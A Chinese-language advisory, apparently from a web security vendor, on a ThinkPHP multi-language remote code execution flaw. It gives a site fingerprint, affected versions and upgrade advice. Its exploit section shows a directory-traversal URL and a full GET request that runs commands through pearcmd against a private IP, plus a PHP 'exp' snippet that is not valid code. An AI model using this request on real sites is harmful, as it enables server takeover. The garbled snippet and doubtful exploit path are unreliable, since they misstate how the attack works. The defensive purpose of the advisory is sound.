Thinkphp可以說是快捷、簡易的面向?qū)ο缶幊痰囊粋€(gè)微服務(wù)架構(gòu),PHP前端框架開發(fā),創(chuàng)建于2006年,遵照Apache2的開源協(xié)議進(jìn)行對外開放,目的是為了快速WEB應(yīng)用程序開發(fā)和優(yōu)化企業(yè)應(yīng)用軟件開發(fā)而發(fā)展起來的。假如Thinkphp代碼開啟了多語言這個(gè)功能,hack就能通過POST、GET、COOKIES等方式將惡意參數(shù)插入進(jìn)去發(fā)送到服務(wù)器中進(jìn)行執(zhí)行惡意代碼,并目錄穿越+文件包含,利用pearcmd文件含有這個(gè)trick就可以實(shí)現(xiàn)RCE遠(yuǎn)程代碼執(zhí)行漏洞。
使用thinkphp并開啟多語言的網(wǎng)站漏洞指紋如下:
header="think_lang"
漏洞影響版本范圍
v6.0.0<=ThinkPHP<=v6.0.13
v5.0.0<=ThinkPHP<=5.0.12
v5.1.0<=ThinkPHP<=5.1.8
漏洞利用詳情
#exp
pearcmd文件含有方法
$cmd=$_GET['cmd'];
$p=pearcmd;
$p->run($cmd);
目錄穿越
http://192.168.0.188:9999/index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=DIR
能通過POST、cookies、GET等傳參的方式,進(jìn)行目錄穿越和文件包含漏洞的利用,對thinkphp下的pearcmd文件進(jìn)行遠(yuǎn)程代碼命令執(zhí)行,
HACK可以利用構(gòu)造惡意的的URL,可以實(shí)現(xiàn)目錄穿越和文件包含,然后利用pearcmd文件含有對其服務(wù)器進(jìn)行遠(yuǎn)程命令執(zhí)行。
這個(gè)漏洞利用的前提,必須要thinkphp開啟多語言這一功能,像一些外貿(mào)公司網(wǎng)站,一些企業(yè)網(wǎng)站,想使用多語言的網(wǎng)站都是可以利用該漏洞進(jìn)行遠(yuǎn)程代碼執(zhí)行漏洞的。
具體的GET漏洞利用數(shù)據(jù)包如下:
GET/index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=DIR
Host:192.168.0.188:9999
User-Agent:Mozilla/5.0(windowsNT10.0;Win32;x32;rv:79.0)Gecko/20100302Firefox/79.0
Accept:text/html,Application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.6,en-US;q=0.4,en;q=0.1
Accept-Encoding:gzip,deflate
Connection:close
Upgrade-Insecure-Requests:1
Cache-Control:max-age=0
如何對該thinkphp漏洞進(jìn)行修復(fù)?
我們SINE安全建議廣大站長以及網(wǎng)站運(yùn)營者,盡快的升級(jí)thinkphp到最高版本,目前Thinkphp官方在最新版本中修復(fù)了這個(gè)漏洞,也可以對該pearcmd文件進(jìn)行強(qiáng)制刪除,待代碼漏洞修復(fù)后,還原該pearcmd文件,也可以找專業(yè)的網(wǎng)站安全公司進(jìn)行代碼漏洞修復(fù)和整體的網(wǎng)站安全加固。